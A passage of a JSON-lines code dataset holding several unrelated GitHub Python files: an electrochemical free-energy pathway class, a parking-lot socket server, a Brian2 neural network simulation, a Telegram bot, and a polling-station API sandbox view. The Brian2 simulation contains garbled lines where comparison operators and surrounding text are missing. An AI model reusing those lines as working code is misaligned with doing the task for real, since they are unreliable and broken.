blue\nplt.yticks([0, 0.8, 1.6])\nplt.tick_params(labelsize=8)\nplt.xticks([0, 0.5, 1.0])\nplt.xlabel(\"X$_2$\", fontsize=8, family='Arial')\nplt.legend()\nplt.savefig('f1_f2_X2.png', dpi=300, bbox_inches='tight')\nplt.show()\nprint('\\n---------- picture finish ----------')\n\ntime2 = time.time()\nprint('\\n-----The code finishes running, and cost %d seconds' % (time2-time1))\n\n# %%\n","repo_name":"ChenFeng87/network_inference","sub_path":"MISA/monotonicity_f.py","file_name":"monotonicity_f.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8119559035","text":"#!/usr/bin/env python\n\"\"\"Contains functions to calculate the change in free energy along the CO2\nreduction pathway.\"\"\"\n\nimport re\nimport numpy as np\n\nfrom hori.common import countatoms\n\n\nclass Pathway:\n \"\"\"Class to hold pathway and connectivity information, and to calculate\n the free energies along that pathway given binding (free) energies and\n chemical potentials. After initializing, add steps to the pathway with \n the add_step function.\n\n Args:\n startingstep (str, optional):\n startingenergy (float, optional):\n \"\"\"\n\n def __init__(self, startingstep='1', startingenergy=0.):\n self.startingstep = startingstep\n self.startingG = startingenergy\n self.steps = [['', self.startingstep, []]]\n\n def addstep(self, first, second, list):\n \"\"\"Method to add a step to the pathway between the first and second\n states. Call this method with the state names and the list of\n changes between them. E.g., if state '1' to state '5' is::\n\n * + CO2 + (H+ + e-) -> *COOH\n\n then use this method with first='1',second='5', and list = \n ['-s', '-CO2', '-pe', '+a_COOH']. In the list, reactants are\n preceded with a - and products with a +. Following the +/- is::\n\n s : bare surface\n pe : proton-electron pair\n a_ : adsorbate\n : non-adsorbed species\n\n where the <>'s are left off the chemical formula. The info is\n\n sanity checked and added to an internal list of the form:\n\n .. code-block:: python\n\n [ [firststate,secondstate,reaction], ... ]\n\n Args:\n first (string)\n second (string)\n list (list)\n\n Raises:\n RuntimeError\n \"\"\"\n # Convert the list of strings to a list of dictionaries\n reaction = []\n for list_string in list:\n reaction.append(self._parse_list_string(list_string))\n # Sanity check to make sure mass is conserved.\n surfaces = 0.\n elements = {'H': 0.} # (for proton-electron pairs)\n for species in reaction:\n surfaces += species['count'] * species['adsorbed']\n elements['H'] += species['count'] * species['pe']\n fd = countatoms(species['formula']) # formula dict\n for atom, subscript in fd.items():\n if atom not in elements.keys():\n elements[atom] = 0.\n elements[atom] += species['count'] * subscript\n\n if sum(elements.values()) != 0 or surfaces != 0:\n raise RuntimeError('Inconsist mass balance in reaction.')\n # Sanity check to make sure the starting step exists.\n if first not in [step[1] for step in self.steps]:\n raise RuntimeError(\"Prior step does not exist.\")\n # Sanity check to make sure exact same step doesn't already exist.\n for step in self.steps:\n if step[0] == first and step[1] == second:\n raise RuntimeError('Step exists -- cannot overwrite.')\n # Add to the internal list\n self.steps.append([first, second, reaction])\n\n def calculate_Gs(self, BG, mu, mu_pe):\n \"\"\"Calculates the free energy along every step in the pathway, and\n returns this as a dictionary. Also store it in self.G.\n Takes as input BG, which is a dictionary of adsorbate free\n energies, mu, which is a dictionary of gas free energies, and\n mu_pe which is the free energy of a proton-electron pair (the last\n is a float, not a dictionary). These are usually taken from\n\n Args:\n BG (hori.thermo.AdsorbateThermodynamics.G)\n mu (hori.thermo.GasThermodynamics.G)\n mu_pe (hori.thermo.ProtonElectronThermodynamics.G)\n\n Raises:\n RuntimeError\n \"\"\"\n G = {self.startingstep: self.startingG}\n for step in self.steps[1:]:\n priorstate, nextstate, rxn = step\n if priorstate not in G.keys():\n raise RuntimeError('Prior step does not exist. This method '\n 'is set up assuming that all steps were '\n 'added in such an order that the prior '\n 'step occurs earlier in the list.')\n if nextstate not in G.keys():\n G[nextstate] = (G[priorstate] +\n calculate_rxn_deltaG(rxn, BG, mu, mu_pe))\n else:\n testG = (G[priorstate] +\n calculate_rxn_deltaG(rxn, BG, mu, mu_pe))\n if testG != G[nextstate]:\n raise RuntimeError('Two different energies calculated '\n 'for state %s' % nextstate)\n self.G = G\n return G\n\n def find_limiting_potential(self, path=None):\n \"\"\"Uses the current values of the the free energy (stored in\n self.G; run self.calculate_Gs() first with mu_pe set to 0 V to\n establish this) to find the limiting potential and the step that\n limits the potential. This is defined as the largest uphill step\n -- after this is overcome, the pathway will be downhill.\n\n If the pathway is branched, then the path must be specified,\n\n similar to:\n path = ['1','28','4']\n\n Args:\n path (list, optional):\n\n Raises:\n RuntimeError\n \"\"\"\n if path:\n steps = []\n for index in range(len(path) - 1):\n steps.append([path[index], path[index + 1]])\n else:\n # Check to be sure pathway is not branched.\n startsteps = []\n for item in self.steps:\n if item[0] in startsteps:\n raise RuntimeError('path must be specified for branched'\n ' pathways.')\n startsteps.append(item[0])\n steps = self.steps[1:]\n\n limiting_potential = None\n for step in steps:\n dG = self.G[step[1]] - self.G[step[0]]\n if dG > limiting_potential:\n limiting_potential = dG\n limiting_step = [step[0], step[1]]\n limiting_potential *= -1.\n return limiting_potential, limiting_step\n\n def _parse_list_string(self, string):\n \"\"\"Returns a dictionary with the count of atoms (and surfaces)\n in the strings in the list fed to Pathway.addstep().\n\n Args:\n string (string)\n\n Raises:\n RuntimeError\n \"\"\"\n # Get sign.\n if string[0] == '-':\n count = -1\n elif string[0] == '+':\n count = +1\n else:\n raise RuntimeError('Misformatted string: %s' % string)\n string = string[1:]\n # Pull off any coefficient.\n pattern = re.compile('[0-9.]+')\n match = pattern.match(string)\n if match:\n count *= eval(match.group())\n string = string[match.end():]\n # Get if surface, adsorbate, or desorbed.\n if string == 's': # Pure surface\n adsorbed = True\n chemicalformula = ''\n pe = 0.\n elif string == 'pe': # proton-electron pair\n adsorbed = False\n chemicalformula = ''\n pe = 1.\n elif string[0] == 'a': # Adsorbed chemical\n adsorbed = True\n chemicalformula = string[2:]\n pe = 0.\n else: # Desorbed chemical\n adsorbed = False\n chemicalformula = string\n pe = 0.\n d = {'count': count,\n 'adsorbed': adsorbed,\n 'formula': chemicalformula,\n 'pe': pe}\n return d\n\n\ndef calculate_rxn_deltaG(rxn, BG, mu, mu_pe):\n \"\"\"Calculates delta-G of reaction for the reaction listed in rxn, given\n dictionaries of binding free energy (BG) and non-adsorbed species\n chemical potential (mu), as well as the chemical potential of a proton-\n electron pair at the current voltage (and pH, if applicable). rxn\n is in the format created by Pathway.addstep(). Note that in general,\n BG[''] will need to be defined; this is the clean slab's binding\n energy, which may be 0. or may be a large number, depending on the\n reference state chosen.\n\n Args:\n rxn (list)\n BG (hori.thermo.AdsorbateThermodynamics.G)\n mu (hori.thermo.GasThermodynamics.G)\n mu_pe (hori.thermo.ProtonElectronThermodynamics.G)\n \"\"\"\n dG = 0.\n for species in rxn:\n if species['adsorbed'] == True:\n dG += species['count'] * BG[species['formula']]\n elif species['pe'] == 1.:\n dG += species['count'] * mu_pe\n else:\n dG += species['count'] * mu[species['formula']]\n return dG\n\n\ndef step2string(rxn):\n \"\"\"Convert reaction step (as used in pathway) to a string. \n\n Args:\n rxn (list): Description\n \"\"\"\n spcs = rxn[2]\n reactants = r''\n products = r''\n # define mappings for species keywords to string representation\n adsorbed_str = {True: '*', False: ''}\n pe_str = {0.0: '', 1.0: ' H+ + e-'}\n for spc in spcs:\n s = spc['formula'] + adsorbed_str[spc['adsorbed']] + pe_str[spc['pe']] + ' + '\n if spc['count'] == -1:\n reactants += s\n elif spc['count'] == 1:\n products += s\n return reactants[:-2] + ' -> ' + products[:-2]\n","repo_name":"SUNCAT-Center/hori","sub_path":"hori/pathway.py","file_name":"pathway.py","file_ext":"py","file_size_in_byte":9580,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"31089027812","text":"#coding:gbk\nimport socket\nimport time\nimport netstream2 as netstream\nimport log\nimport gvars\nimport protoc\nimport models\nimport asyncore\nimport config\nfrom datetime import datetime, timedelta\n\nRESET_TIME = config.get('service', 'reset_time')\n\n#车场类,用于管理车场id和终端id的对应关系\nclass netpark(object):\n\tdef __init__(self, tid, typ):\n\t\tself.tid = tid\n\t\tself.typ = typ\n\t\tself.cnt_base = 0\n\t\tself.tdids = {}\n\n\tdef active_child(self, pos, did):\n\t\tactive = time.time()\n\t\tself.tdids[pos] = (did, active)\n\n\tdef deactive_child(self, pos):\n\t\tself.tdids[pos] = None\n\n\tdef reset_cnt_base(self, base):\n\t\tself.cnt_base = base\n\nclass nethost(asyncore.dispatcher):\n\tdef __init__(self):\n\t\tasyncore.dispatcher.__init__(self)\n\t\tself.host = 0\n\t\tself.state = gvars.NET_STATE_STOP\n\t\tself.clients = []\n\t\tself.parks = {}\n\t\tself.count = 0\n\t\tself.index = 1\n\t\t#self.queue = []\n\t\tself.timeout = 120.0\n\t\tself.timeslap = long(time.time()*1000)\n\t\tself.period = 0\n\n\t\tself.last_scheduled_time = None\n\t\treset_time = datetime.strptime(RESET_TIME, '%H:%M:%S')\n\t\tnow = datetime.now()\n\t\tself.next_schedule_time = datetime(now.year,now.month,now.day, reset_time.hour, reset_time.minute, reset_time.second)\n\t\tif self.next_schedule_time - now < timedelta():\n\t\t\tself.next_schedule_time = self.next_schedule_time + timedelta(days=1)\n\n\t#start listening\n\tdef startup(self, addr='0.0.0.0', port = 0):\n\t\tself.shutdown()\n\t\tself.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.set_reuse_addr()\n\t\ttry:\n\t\t\tself.bind((addr, port))\n\t\texcept:\n\t\t\ttry: self.close()\n\t\t\texcept: pass\n\t\t\tlog.critical('server startup failed.')\n\t\t\treturn -1\n\t\tself.listen(65536)\n\t\tself.state = gvars.NET_STATE_ESTABLISHED\n\t\tself.timeslap = long(time.time()*1000)\n\t\tlog.info('server startup.')\n\t\treturn 0\n\n\t#shutdown service\n\tdef shutdown(self):\n\t\tif self.state == gvars.NET_STATE_STOP:\n\t\t\treturn\n\t\ttry:\n\t\t\tself.timer.cancel()\n\t\t\tself.close()\n\t\texcept:\n\t\t\tpass\n\n\t\tfor client in self.clients:\n\t\t\tif not client: continue\n\t\t\ttry:\n\t\t\t\tclient.close()\n\t\t\texcept:\n\t\t\t\tpass\n\t\tself.clients = []\n\t\tself.state = gvars.NET_STATE_STOP\n\t\tlog.info('server shutdown.')\n\n\tdef handle_accept(self):\n\t\tcurrent = time.time()\n\t\tif self.state != gvars.NET_STATE_ESTABLISHED:\n\t\t\treturn 0\n\t\tsock = None\n\t\ttry:\n\t\t\tsock, remote = self.accept()\n\t\texcept:\n\t\t\tpass\n\t\t# 最大支持65536个客户端连接\n\t\tif self.count >= 0x10000:\n\t\t\ttry:\n\t\t\t\tsock.close()\n\t\t\texcept:\n\t\t\t\tpass\n\t\tif sock:\n\t\t\tpos = -1\n\t\t\t#找到空位\n\t\t\tfor i in xrange(len(self.clients)):\n\t\t\t\tif self.clients[i] == None:\n\t\t\t\t\tpos = i\n\t\t\t\t\tbreak\n\t\t\t#没找到空位则新增\n\t\t\tif pos < 0:\n\t\t\t\tpos = len(self.clients)\n\t\t\t\tself.clients.append(None)\n\n\t\t\thid = (pos & 0xffff) | (self.index << 16)\n\t\t\tself.index += 1\n\t\t\tif self.index >= 0x7fff:\n\t\t\t\tself.index = 1\n\n\t\t\tclient = netstream.netstream()\n\t\t\tclient.assign(sock)\n\t\t\tclient.hid = hid\n\t\t\tclient.tag = -1\n\t\t\tclient.active = current\n\t\t\tclient.peername = sock.getpeername()\n\n\t\t\tclient.on_recv = self.on_client_recv\n\t\t\tclient.on_close = self.on_client_close\n\n\t\t\tself.clients[pos] = client\n\t\t\tself.count += 1\n\t\t\t#self.queue.append((gvars.NET_NEW, hid, 0, repr(client.peername)))\n\t\t\tlog.info('client connected, peer: %s, pos: %d, index: %d'%(client.peername, pos, self.index-1))\n\n\tdef on_client_recv(self, client):\n\t\tcurrent = time.time()\n\t\tclient.active = current\n\t\tdata = client.read_pkg()\n\t\tif data is None:\n\t\t\treturn\n\t\t#log.debug('recv pkg from client: %s, data: %s'%(client.peername, data))\n\t\t#self.queue.append((gvars.NET_DATA, client.hid, client.tag, data))\n\t\tself.process_event(client.hid, client.tag, data)\n\n\t\tself.checkScheduledProc()\n\n\tdef on_client_close(self, client):\n\t\thid, tag = client.hid, client.tag\n\t\tpos = hid & 0xffff\n\t\t#self.queue.append((gvars.NET_LEAVE, hid, tag, ''))\n\t\tself.clients[pos] = None\n\t\tlog.info('client leave, peer: %s, pos: %d'%(client.peername, pos))\n\n\t\tif client.park_id:\n\t\t\tpark = self.parks.get(client.park_id, None)\n\t\t\tif park:\n\t\t\t\tpark.deactive_child(pos)\n\n\t\tdel client\n\t\tself.count -= 1\n\n\t# send data to hid\n\t# def send(self, hid, data):\n\t# \tpos = hid & 0xffff\n\t# \tif (pos < 0) or (pos >= len(self.clients)): return -1\n\t# \tclient = self.clients[pos]\n\t# \tif client == None: return -2\n\t# \tif client.hid != hid: return -3\n\t# \tclient.send(data)\n\t# \tclient.process()\n\t# \treturn 0\n\n\t# # close client\n\t# def close(self, hid):\n\t# \tpos = hid & 0xffff\n\t# \tif (pos < 0) or (pos >= len(self.clients)): return -1\n\t# \tclient = self.clients[pos]\n\t# \tif client == None: return -2\n\t# \tif client.hid != hid: return -3\n\t# \tclient.close()\n\t# \treturn 0\n\n\t# 向数据库注册终端\n\tdef regist_terminal(self, cid, pid):\n\t\tterm = models.Terminal(cid, pid)\n\t\tif term.checkInDB():\n\t\t\tlog.warning('try to regist terminal which already exists in db.')\n\t\t\treturn\n\t\tterm.writeToDB()\n\n\t# 向数据库注册停车场\n\tdef regist_carpark(self, pid, stot, scnt):\n\t\tpark = models.CarPark(pid, stot, scnt)\n\t\tif park.checkInDB():\n\t\t\tlog.warning('try to regist CarPark which already exists in db.')\n\t\t\treturn\n\t\tpark.writeToDB()\n\n\tdef process_event(self, hid, tag, data):\n\t\tpos = hid & 0xffff\n\t\tif (pos < 0) or (pos >= len(self.clients)):\n\t\t\tlog.error('process event error, invalid client position: %d'%pos)\n\t\t\treturn -1\n\t\tclient = self.clients[pos]\n\t\tif client == None:\n\t\t\tlog.error('process event error, invalid client handle: None')\n\t\t\treturn -2\n\t\tif client.hid != hid:\n\t\t\tlog.error('process event error, hid mismatch, client: %d, hid: %d'%(client.hid, hid))\n\t\t\treturn -3\n\n\t\tif not self.parks.has_key(data.cid):\n\t\t\tpark = netpark(data.cid, data.ctype)\n\t\t\tself.parks[data.cid] = park\n\t\tpark = self.parks[data.cid]\n\t\tpark.active_child(pos, data.did)\n\n\t\t# raw_data = data.asdict()\n\t\t# if isinstance(data, protoc.PkgHeart):\n\t\t# \tpkg = models.TerminalHeart(data.cid, raw_data['stat'])\n\t\t# \tpkg.writeToDB()\n\t\tif isinstance(data, protoc.PkgManual):\n\t\t\t#手工设置当前车位数,重置基数\n\t\t\tpark.reset_cnt_base(data.scnt)\n\n\t\t\tpkg = models.ParkLog(data.cid, data.did, data.ctype, data.scnt, data.sinc, data.sdec, data.stat, reset_base=models.ParkLog.RB_MANUAL)\n\t\t\tpkg.writeToDB()\n\n\t\t\tpark = self.parks.get(data.cid)\n\t\t\tif park:\n\t\t\t\tfor cpos, cinfo in park.tdids.iteritems():\n\t\t\t\t\tpkgSum = protoc.PkgSum({})\n\t\t\t\t\tpkgSum.cid = pkg.tid\n\t\t\t\t\tpkgSum.did = cinfo[0]\n\t\t\t\t\tpkgSum.scnt = pkg.curr\n\t\t\t\t\tpkgSum.stot = data.stot\n\t\t\t\t\tif pkgSum.scnt < 0:\n\t\t\t\t\t\tpkgSum.scnt = 0\n\t\t\t\t\tdoor_client = self.clients[cpos]\n\t\t\t\t\tif door_client:\n\t\t\t\t\t\tdoor_client.send_ack(pkgSum)\n\t\t\t\t\tlog.debug('send manual set. tid: 0x%0X, did: %d, curr: %d, tot: %d' %(pkgSum.cid, pkgSum.did, pkgSum.scnt, pkgSum.stot))\n\n\t\telif isinstance(data, protoc.PkgRep):\n\t\t\tclient.status = data.stat\n\t\t\tclient.park_id = data.cid\n\t\t\tclient.door_id = data.did\n\t\t\tif client.status == 0x01:\t\t#标识复位成功\n\t\t\t\tclient.reset_counter = 0\n\t\t\telse:\n\t\t\t\tclient.sinc = data.sinc\n\t\t\t\tclient.sdec = data.sdec\n\n\t\t\t\t# (self, tid, tdid, typ, curr, sinc, sdec, stat, counter):\n\t\t\t\tpkgIdent = models.ParkLogIdentity(data.cid, data.did, data.ctype, data.scnt, data.sinc, data.sdec, data.stat, data.counter)\n\t\t\t\tpkgIdent.writeToDB()\n\n\t\t\t\t# (self, tid, tdid, typ, curr, sinc, sdec, stat):\n\t\t\t\tpkg = models.ParkLog(data.cid, data.did, data.ctype, data.scnt, data.sinc, data.sdec, data.stat)\n\n\t\t\t\tif data.ctype > 0x01: #多门\n\t\t\t\t\tpark = self.parks.get(data.cid)\n\t\t\t\t\tif park:\n\t\t\t\t\t\tcurr = pkg.queryBase()\n\t\t\t\t\t\tfor cpos, cinfo in park.tdids.iteritems():\n\t\t\t\t\t\t\tdoor_client = self.clients[cpos]\n\t\t\t\t\t\t\tif door_client:\n\t\t\t\t\t\t\t\tcurr = curr + door_client.sinc - door_client.sdec\n\t\t\t\t\t\tpkg.resetCurrent(curr)\n\t\t\t\t\t\tpkg.writeToDB()\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor cpos, cinfo in park.tdids.iteritems():\n\t\t\t\t\t\t\tdoor_client = self.clients[cpos]\n\t\t\t\t\t\t\tif door_client:\n\t\t\t\t\t\t\t\tpkgSum = protoc.PkgSum({})\n\t\t\t\t\t\t\t\tpkgSum.cid = pkg.tid\n\t\t\t\t\t\t\t\tpkgSum.did = cinfo[0]\n\t\t\t\t\t\t\t\tpkgSum.scnt = pkg.curr\n\t\t\t\t\t\t\t\tpkgSum.stot = data.stot\n\t\t\t\t\t\t\t\tif pkgSum.scnt < 0:\n\t\t\t\t\t\t\t\t\tpkgSum.scnt = 0\n\t\t\t\t\t\t\t\tlog.debug('send to door client. tid: 0x%0X, did: %d, curr: %d, tot: %d'%(pkg.tid, cinfo[0], pkg.curr, data.stot))\n\t\t\t\t\t\t\t\tdoor_client.send_ack(pkgSum)\n\t\t\t\telse:\n\t\t\t\t\tpkg.writeToDB()\n\n\t\tlog.debug('data processed. tid: 0x%0X, did: %d, curr: %d, sinc: %d, sdec: %d, stat: %d'%(data.cid, data.did, data.scnt, data.sinc, data.sdec, data.stat))\n\n\n\n\tdef checkScheduledProc(self):\n\t\tnow = datetime.now()\n\t\t#检查所有客户端如果需要发送重置,则发送(给半个小时的时间处理)\n\t\tif self.last_scheduled_time != None and now - self.last_scheduled_time <= timedelta(minutes=30):\n\t\t\tpkg = protoc.PkgReset({})\n\t\t\tfor i in xrange(len(self.clients)):\n\t\t\t\tclient = self.clients[i]\n\t\t\t\tif client != None and client.reset_counter > 0:\n\t\t\t\t\tif client.park_id and client.door_id:\n\t\t\t\t\t\tlog.debug('send reset command to client. tid: 0x%0X, did: %d'%(client.park_id, client.door_id))\n\t\t\t\t\tclient.send_ack(pkg)\n\t\t\t\t\tclient.reset_counter -= 1\n\n\t\t#凌晨3点开始重置终端\n\t\tdelta = self.next_schedule_time - now\n\t\tif delta <= timedelta():\n\t\t\t#重设基数\n\t\t\tfor tid, park in self.parks.iteritems():\n\t\t\t\tpkg = models.ParkLog(park.tid, 0, park.typ, 0, 0, 0, 0, reset_base=models.ParkLog.RB_AUTO)\n\t\t\t\tpkg.resetCurrent(None)\t#自动从数据库读取当前值\n\t\t\t\tpark.reset_cnt_base(pkg.curr)\n\t\t\t\tpkg.writeToDB()\n\t\t\t\tlog.info('auto reset park base. tid: 0x%0X, base: %d' %(tid, pkg.curr))\n\t\t\tfor i in xrange(len(self.clients)):\n\t\t\t\tclient = self.clients[i]\n\t\t\t\tif client != None:\n\t\t\t\t\tclient.reset_counter = 10 #重置10次\n\t\t\tself.last_scheduled_time = now\n\t\t\tself.next_schedule_time = now + timedelta(days=1)\n\n","repo_name":"konlil/CarPot","sub_path":"nethost2.py","file_name":"nethost2.py","file_ext":"py","file_size_in_byte":9331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37613388781","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom brian2 import *\n\nstart_scope()\ndefaultclock.dt = 0.05 *ms\n\n# define size of the network\nN_e=1024; N_i=256 # number of excitatory and inhibitory neurons\nN_extern_poisson=1000 # Size of the external input population (Poisson input)\npoisson_firing_rate=1.4 *Hz # Firing rate of the external population\n\n\n# parameters of conductances\nG_inhib2inhib=1.024 * nS # conductance of interneurons on interneurons\nG_inhib2excit=1.336 * nS # conductance of interneurons on pyramidals\nG_excit2excit=0.381 * nS # conductance of pyramidals on pyramidals\nG_excit2inhib=0.292 * nS # conductance of pyramidals on interneurons\n \n\n# parameters excitatory pyramidal cells:\nCm_excit = 0.5 * nF # membrane capacitance of excitatory neurons\nG_leak_excit = 25.0 * nS # leak conductance\nE_leak_excit = -70.0 * mV # reversal potential\nvth_excit = -50.0 * mV # spike condition\nv_reset_excit = -60.0 * mV # reset voltage after spike\nt_abs_refract_excit = 2.0 * ms # absolute refractory period\n\n# parameters inhibitory interneurons:\nCm_inhib = 0.2 * nF\nG_leak_inhib = 20.0 * nS\nE_leak_inhib = -70.0 * mV\nvth_inhib = -50.0 * mV\nv_reset_inhib = -60.0 * mV\nt_abs_refract_inhib = 1.0 * ms\n\n# parameters AMPA synapses\nE_e = 0.0 * mV\ntau_AMPA = .9 * 2.0 * ms\n\n# parameters GABA synapses\nE_GABA = -70.0 * mV\ntau_GABA = 10.0 * ms\n\n# parameters NMDA synapses\nE_e = 0.0 * mV\ntau_NMDA_s = 1 * 100.0 * ms # orig: 100\ntau_NMDA_x = 1.5 * 2.0 * ms\nalpha_NMDA = .5 * kHz\n\n# projections from the external population\nG_extern2inhib = 2.38 * nS\nG_extern2excit = 3.1 * nS\n\n# chose stimulus position\nstimulus_pos=4\n\n# define subpopulation affected by sensory simulus\n\nk=int(N_e/8)\nsensory_stim=[[0,k]]\nfor a in range(1,8):\n sensory_stim.append([a*k,(a+1)*k-1]) # grouping the neurons in 8 equal groups depending of their id#\n \n# define sensory stimulus \nI_stim_def=[]\nidx=0\nwhile idxsensory_stim[stimulus_pos][0] and idxvth_inhib\", reset=\"v=v_reset_inhib\", refractory=t_abs_refract_inhib,method=\"rk2\")\n\n# initialize with random voltages:\ninhib_pop.v = np.random.uniform(v_reset_inhib / mV, high=vth_inhib / mV,size=N_i) * mV\n\n# set the connections: inhib2inhib\nsyn_inhib2inhib = Synapses(inhib_pop, target=inhib_pop, on_pre=\"s_GABA += 1.0\", delay=0.0 * ms)\nsyn_inhib2inhib.connect(condition=\"i!=j\", p=1.0)\n\n# set the connections: extern2inhib\ninput_ext2inhib = PoissonInput(target=inhib_pop, target_var=\"s_AMPA\",N=N_extern_poisson, rate=poisson_firing_rate, weight=1)\n\n\n# define the excitatory population:\neqs_excit = \"\"\"\n dv/dt = (- G_leak_excit * (v-E_leak_excit)- G_extern2excit * s_AMPA * (v-E_e)- G_inhib2excit * s_GABA * (v-E_GABA)- G_excit2excit * s_NMDA * (v-E_e)/(1.0+1.0*exp(-0.062*1e3*v/volt)/3.57)+I_stim(t,i)*namp)/Cm_excit : volt (unless refractory)\n ds_AMPA/dt = -s_AMPA/tau_AMPA : 1\n ds_GABA/dt = -s_GABA/tau_GABA : 1\n ds_NMDA/dt = -s_NMDA/tau_NMDA_s + alpha_NMDA * x * (1-s_NMDA) : 1 \n dx/dt = -x/tau_NMDA_x : 1\n\"\"\"\n\nexcit_pop = NeuronGroup(N_e, model=eqs_excit,threshold=\"v>vth_excit\", reset=\"v=v_reset_excit; x+=1.0\",refractory=t_abs_refract_excit, method=\"rk2\")\n\n# initialize with random voltages:\nexcit_pop.v = np.random.uniform(v_reset_excit / mV, high=vth_excit / mV,size=N_e) * mV\n\n# set the connections from extern\ninput_ext2excit = PoissonInput(target=excit_pop, target_var=\"s_AMPA\",N=N_extern_poisson, rate=poisson_firing_rate, weight=1)\n\n\n# set the connections: inhibitory to excitatory\nsyn_inhib2excit = Synapses(inhib_pop, target=excit_pop, on_pre=\"s_GABA += 1.0\")\nsyn_inhib2excit.connect(p=1.0)\n\n# set the connections: excitatory to inhibitory NMDA connections\nsyn_excit2inhib = Synapses(excit_pop, inhib_pop,on_pre=\"x += 0.5 ; s_AMPA +=0.1 \") \nsyn_excit2inhib.connect(p=1.0)\n\n# set the connections: excitatory to inhibitory NMDA connections\nsyn_excit2excit = Synapses(excit_pop, excit_pop,on_pre=\"x+= 2; s_AMPA +=2 \") \nsyn_excit2excit.connect(p=1.0,condition=\"abs(i-j)<9\") \n\n#create the monitors\nM = SpikeMonitor( excit_pop )\nS = StateMonitor( excit_pop, ('v','s_NMDA','s_AMPA','s_GABA'), record=True )\n\n#run simulation\nrun(800*ms,report='text')\n\n\n# ratio of firing between prefered and unprefered neurons during the stimulation\nprefered=0\nunprefered=0\nb=0\nfor a in M.t/ms:\n b+=1\n if 200400 and sensory_stim[stimulus_pos][0]-100400 and M.i[b] not in range(sensory_stim[stimulus_pos][0],sensory_stim[stimulus_pos][1]):\n unprefered+=1\n b+=1\nif unprefered==0:\n unprefered=1\nafter_I=[prefered,unprefered]\n\n\n\n#plot excitatory spiking activity\nfigure(figsize=(15,5))\nxlabel( 'time (ms)'); ylabel( 'cell id' )\nplot( M.t/ms, M.i,'.k' )\nshow()\n\n# plot membrane voltage of one neuron\nfigure(figsize=(15,5))\nxlabel( 'time (ms)' ); ylabel( 'neuron id#' )\nplot( S.t/ms, S.v[600] )\nshow()\nprint(\"During stimulation: \\n The prefered neurons spike {prefered} times\\n Unprefered neurons spike {unprefered}\".format(prefered=during_I[0],unprefered=during_I[1]))\nprint(\"After the stimulation:\\n The prefered neurons spike {prefered} times \\n Unprefered neurons spike {unprefered}\".format(prefered=after_I[0],unprefered=after_I[1]))\n","repo_name":"Erwan-Martin/Persistent-activity","sub_path":"model_persitent_activity.py","file_name":"model_persitent_activity.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7052142826","text":"from telegram import ReplyKeyboardMarkup, Update, ReplyKeyboardRemove\nfrom telegram.ext import (\n Updater,\n CommandHandler,\n MessageHandler,\n Filters,\n ConversationHandler,\n PicklePersistence,\n CallbackContext,\n)\nimport os\nimport time\nimport requests\nfrom random import randrange\n\nTOKEN = os.getenv(\"TOKEN\")\nupdater = Updater(TOKEN)\n# Hello WORLD!!!!!! PUSH AND PULL\n\ndef start_handler(update: Update, context: CallbackContext) -> None:\n # with open('fetch2.txt') as f:\n # for line in f:\n # reply_text1 = line\n # # update.message.reply_text(reply_text1)\n # reply_text2 = 'https://api.telegram.org/bot' + TOKEN + '/sendMessage?chat_id=-1001755597531&text=' + reply_text1\n # requests.post(reply_text2)\n # time.sleep(1)\n\n f = open('fetch2.txt', mode=\"r\", encoding=\"utf-8\")\n lines = f.readlines()\n x = len(lines)\n matn = lines[randrange(x)]\n msg_handler(matn)\n\n\ndef start_handler2(update: Update, context: CallbackContext) -> None:\n msg_handler('Shootool Bomboli')\n\n\ndef msg_handler(message) -> None:\n reply_text = 'https://api.telegram.org/bot' + TOKEN + '/sendMessage?chat_id=-1001755597531&text=' + message\n requests.post(reply_text)\n\n\ndef func_handler(command, function) -> None:\n start_command = CommandHandler(command, function)\n updater.dispatcher.add_handler(start_command)\n\n\nfunc_handler(\"start\", start_handler)\nfunc_handler(\"start2\", start_handler2)\n\nupdater.start_polling()\nupdater.idle()\n","repo_name":"feronot/telegram","sub_path":"bot2.py","file_name":"bot2.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6508501896","text":"import json\nimport re\nfrom pathlib import Path\n\nfrom django.http import HttpResponse\nfrom django.views import View\n\n\nclass SandboxView(View):\n def get(self, request, *args, **kwargs):\n base_path = Path(__file__).parent\n\n def get_fixture_path(filename):\n return base_path / \"sandbox-responses\" / f\"{filename}.json\"\n\n example_postcodes = (\n \"AA12AA\", # station known\n \"AA12AB\", # station not known\n \"AA13AA\", # address picker\n )\n\n if \"postcode\" in kwargs:\n postcode = re.sub(\"[^A-Z0-9]\", \"\", kwargs[\"postcode\"].upper())\n if postcode in example_postcodes:\n with get_fixture_path(postcode).open() as fixture:\n return HttpResponse(\n fixture, content_type=\"application/json\", status=200\n )\n return HttpResponse(\n json.dumps({\"message\": \"Could not geocode from any source\"}),\n content_type=\"application/json\",\n status=400,\n )\n\n example_slugs = (\n \"e07000223-524-2-truleigh-way-shoreham-by-sea-west-sussex-bn436hw\",\n \"e07000223-527-5-truleigh-way-shoreham-by-sea-west-sussex-bn436hw\",\n )\n if \"slug\" in kwargs:\n if kwargs[\"slug\"] in example_slugs:\n with get_fixture_path(kwargs[\"slug\"]).open() as fixture:\n return HttpResponse(\n fixture,\n content_type=\"application/json\",\n status=200,\n )\n return HttpResponse(\n json.dumps({\"message\": \"Address not found\"}),\n content_type=\"application/json\",\n status=404,\n )\n\n return HttpResponse(\n json.dumps({\"message\": \"Internal Server Error\"}),\n content_type=\"application/json\",\n status=500,\n )\n","repo_name":"DemocracyClub/UK-Polling-Stations","sub_path":"polling_stations/apps/api/sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"43444733262","text":"def add(lst, value):\r\n if value in lst:\r\n print(\"Card is already in the deck\")\r\n else:\r\n lst.append(value)\r\n print(\"Card successfully 